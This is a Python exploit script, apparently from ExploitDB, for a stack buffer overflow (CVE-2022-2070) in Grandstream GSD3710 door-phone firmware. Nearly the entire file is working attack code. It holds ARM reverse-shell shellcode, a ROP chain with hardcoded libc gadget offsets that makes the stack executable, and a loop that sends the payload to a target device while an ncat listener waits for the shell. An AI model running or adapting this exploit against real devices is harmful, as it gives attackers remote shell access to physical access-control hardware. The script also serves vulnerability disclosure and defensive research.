📄 Grandstream GSD3710 1.0.11.13 Stack Buffer Overflow

#!/usr/bin/env python3
    
    # Exploit Title: Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
    # Google Dork: [if applicable]
    # Date: 2025-05-23
    # Exploit Author: Pepelux (user in ExploitDB)
    # Vendor Homepage: https://www.grandstream.com/
    # Software Link: [download link if available]
    # Version: Grandstream GSD3710 - firmware:1.0.11.13 and lower
    # Tested on: Linux and MacOS
    # CVE: CVE-2022-2070
    
    """
    Author: Jose Luis Verdeguer (@pepeluxx)
    
    Required: Pwntools
    
    Example:
    
    Terminal 1:
    $ ncat -lnvp 4444
    
    Terminal 2:
    $ python 3 CVE-2020-2070.py -ti DEVICE_IP -tp 8081 -ri LOCAL_IP -rp 4444
    """
    
    from operator import ge
    import sys
    import time
    from pwn import *
    
    import argparse
    
    
    def get_args():
        parser = argparse.ArgumentParser(
            formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter(
                prog, max_help_position=50))
    
        # Add arguments
        parser.add_argument('-ti', '--target_ip', type=str, required=True,
                            help='device IP address', dest="device_ip")
        parser.add_argument('-tp', '--target_port', type=int, required=True, default=8081,
                            help='device port', dest="device_port")
        parser.add_argument('-ri', '--reverse_ip', type=str, required=True,
                            help='reverse IP address', dest="reverse_ip")
        parser.add_argument('-rp', '--reverse_port', type=int, required=True,
                            help='reverse port', dest="reverse_port")
    
        # Array for all arguments passed to script
        args = parser.parse_args()
    
        try:
            TI = args.device_ip
            TP = args.device_port
            RI = args.reverse_ip
            RP = args.reverse_port
    
            return TI, TP, RI, RP
        except ValueError:
            exit()
    
    
    def check_badchars(data):
        for i in range(len(data)):
            if data[i] in [0x0, 0x40]:
                log.warn("Badchar %s detected at %#x" % (hex(data[i]), i))
                return True
        return False
    
    
    def get_shellcode(ip, port):
        ip_bytes = socket.inet_aton(ip)
        port_bytes = struct.pack(">H", port)
    
        # Linux ARM reverse shell
    
        # switch to thumb mode
        sc = b"\x01\x30\x8F\xE2"  # add r3, pc, #1
        sc += b"\x13\xFF\x2F\xE1"  # bx r3
    
        # socket(2, 1, 0)
        sc += b"\x02\x20"  # movs r0, #2
        sc += b"\x01\x21"  # movs r1, #1
        sc += b"\x92\x1A"  # subs r2, r2, r2
        sc += b"\xC8\x27"  # movs r7, #0xc8
        sc += b"\x51\x37"  # adds r7, #0x51
        sc += b"\x01\xDF"  # svc #1
        sc += b"\x04\x1C"  # adds r4, r0, #0
    
        # connect(r0, &sockaddr, 16)
        sc += b"\x0C\xA1"  # adr r1, #0x30
        sc += b"\x4A\x70"  # strb r2, [r1, #1]
        sc += b"\x10\x22"  # movs r2, #0x10
        sc += b"\x02\x37"  # adds r7, #2
        sc += b"\x01\xDF"  # svc #1
    
        # dup2(sockfd, 0)
        sc += b"\x3F\x27"  # movs r7, #0x3f
        sc += b"\x20\x1C"  # adds r0, r4, #0
        sc += b"\x49\x1A"  # subs r1, r1, r1
        sc += b"\x01\xDF"  # svc #1
    
        # dup2(sockfd, 1)
        sc += b"\x20\x1C"  # adds r0, r4, #0
        sc += b"\x01\x21"  # movs r1, #1
        sc += b"\x01\xDF"  # svc #1
    
        # dup2(sockfd, 2)
        sc += b"\x20\x1C"  # adds r0, r4, #0
        sc += b"\x02\x21"  # movs r1, #2
        sc += b"\x01\xDF"  # svc #1
    
        # execve("/bin/sh")
        sc += b"\x06\xA0"  # adr r0, #0x18
        sc += b"\x92\x1A"  # subs r2, r2, r2
        sc += b"\x49\x1A"  # subs r1, r1, r1
        sc += b"\x01\x91"  # str r1, [sp, #4]
        sc += b"\x02\x91"  # str r1, [sp, #8]
        sc += b"\x01\x90"  # str r0, [sp, #4]
        sc += b"\x01\xA9"  # add r1, sp, #4
        sc += b"\xC2\x71"  # strb r2, [r0, #7]
        sc += b"\x0B\x27"  # movs r7, #0xb
        sc += b"\x01\xDF"  # svc #1
    
        sc += b"\x02\xFF"
        sc += port_bytes
        sc += ip_bytes
        sc += b"/bin/shX"
    
        return sc
    
    
    def main():
        ti, tp, ri, rp = get_args()
    
        # ROP Gadgets
    
        libc_base = 0x76ec1000
    
        mprotect = libc_base + 0x93510+1
        pop_lr = libc_base + 0x1848C  # pop {r0, r4, r8, ip, lr, pc}
        pop_pc = libc_base + 0xd7515  # pop {pc}
        pop_r0 = libc_base + 0x00064bb0+1  # 0x00064bb0 : pop {r0, pc}
    
        pop_r5 = libc_base + 0x00003738+1  # 0x00003738 : pop {r5, pc}
        add_r1_sp = libc_base + 0x000b3c4e+1  # 0x000b3c4e : add r1, sp, #0x14 ; blx r5
        # 0x0002f83c (0x0002f83d): mov r0, r1; bx lr
        mov_r0_r1 = libc_base + 0x0002f83d
        # 0x0006a086 (0x0006a087): pop {r1, pc}
        pop_r1 = libc_base + 0x6a087
        ands_r0_r1 = libc_base + 0x1feba+1  # 0x0001feba : ands r0, r1 ; bx lr
        # 0x000a3a42 : movs r4, r0 ; pop {r1, pc}
        mov_r4_r0 = libc_base + 0x000a3a42+1
        # 0x0001fdae (0x0001fdaf): movs r1, r0; bx lr
        movs_r1_r0 = libc_base + 0x0001fdaf
    
        and_r0_f = libc_base + 0x8717e+1  # 0x0008717e : and r0, r0, #0xf ; bx lr
        movs_r2_r0 = libc_base + 0x0001fc6a+1  # 0x0001fc6a : movs r2, r0 ; bx lr
        mov_r0_r4 = libc_base + 0x0001f9d4+1  # 0x0001f9d4 : movs r0, r4 ; bx lr
        blx_sp = libc_base + 0x46595  # 0x00046594 (0x00046595): blx sp
    
        shellcode = get_shellcode(ri, rp)
    
        auth_command = b"LOG/1.0 END CMD:AUTH_USERNAME @"
        junk = p32(0x43434343)
    
        payload = auth_command
        payload += b"A" * 144
    
        # The goal is that R0 -> SP
    
        # R5 = pop {pc}
        # because in the the next gadget we have a blx r5
        payload += p32(pop_r5)
        payload += p32(pop_pc) # R5 = pop {pc}
    
        # R1 = SP ; BLX pop {pc}
        payload += p32(add_r1_sp) # add r1, sp, #0x14 ; blx r5
    
        # Restore LR register (because it has been updated by the last BLX gadget)
        payload += p32(pop_lr) # pop {r0, r4, r8, ip, lr, pc}
        payload += junk*4  # r0, r4, r8, ip
        payload += p32(pop_pc) # LR = pop {pc}
    
        # R0 = stack address
        payload += p32(mov_r0_r1) # mov r0, r1; bx lr
    
        # R1 = mask page align
        payload += p32(pop_r1) # pop {r1, pc}
        payload += p32(0xfffe1001)
    
        # R0 = stack address & 0xfffe1001
        payload += p32(ands_r0_r1) # ands r0, r1 ; bx lr 
        # R4 = R0
        payload += p32(mov_r4_r0)  # movs r0, r4 ; bx lr
        payload += junk  # r1
    
        # mprotect params
        # r0 = shellcode page aligned address
        # r1 = size(ofshellcode)
        # r2 = protection (0x7 – RWX)
    
        # R2 = 0x7
        payload += p32(pop_r0)
        payload += p32(0x07070707)
        payload += p32(and_r0_f)  # R0 = 7 (RWX)
        payload += p32(movs_r2_r0)  # R2 (prot: 7 - RWX)
    
        # R1 = length = 0x10101010 (avoid 0's)
        payload += p32(pop_r0)
        payload += p32(0x01010101)
        payload += p32(movs_r1_r0)  # r1 (length: 0x10101010)
    
        # R0 = stack address 4k aligned
        payload += p32(mov_r0_r4)
    
        # mprotect(stack, 0x10101010, 0x7)
        payload += p32(mprotect)
        payload += p32(blx_sp)  # ejecutamos en pila
        payload += shellcode  # shellcode
    
        if check_badchars(payload[len(auth_command):]):
            sys.exit(0)
    
        log.info("Device IP: %s:%d" % (ti, tp))
        log.info("Attacker IP: %s:%d" % (ri, rp))
        log.info("Payload len: %d" % len(payload))
    
        count = 1
    
        while True:
            try:
                print('Try: %d' % count)
                r = remote(ti, tp)
                r.send(payload)
                log.success("Payload sent!")
                # r.close()
                time.sleep(1)
                count += 1
            except:
                sleep(3)
                pass
    
    
    if __name__ == '__main__':
        main()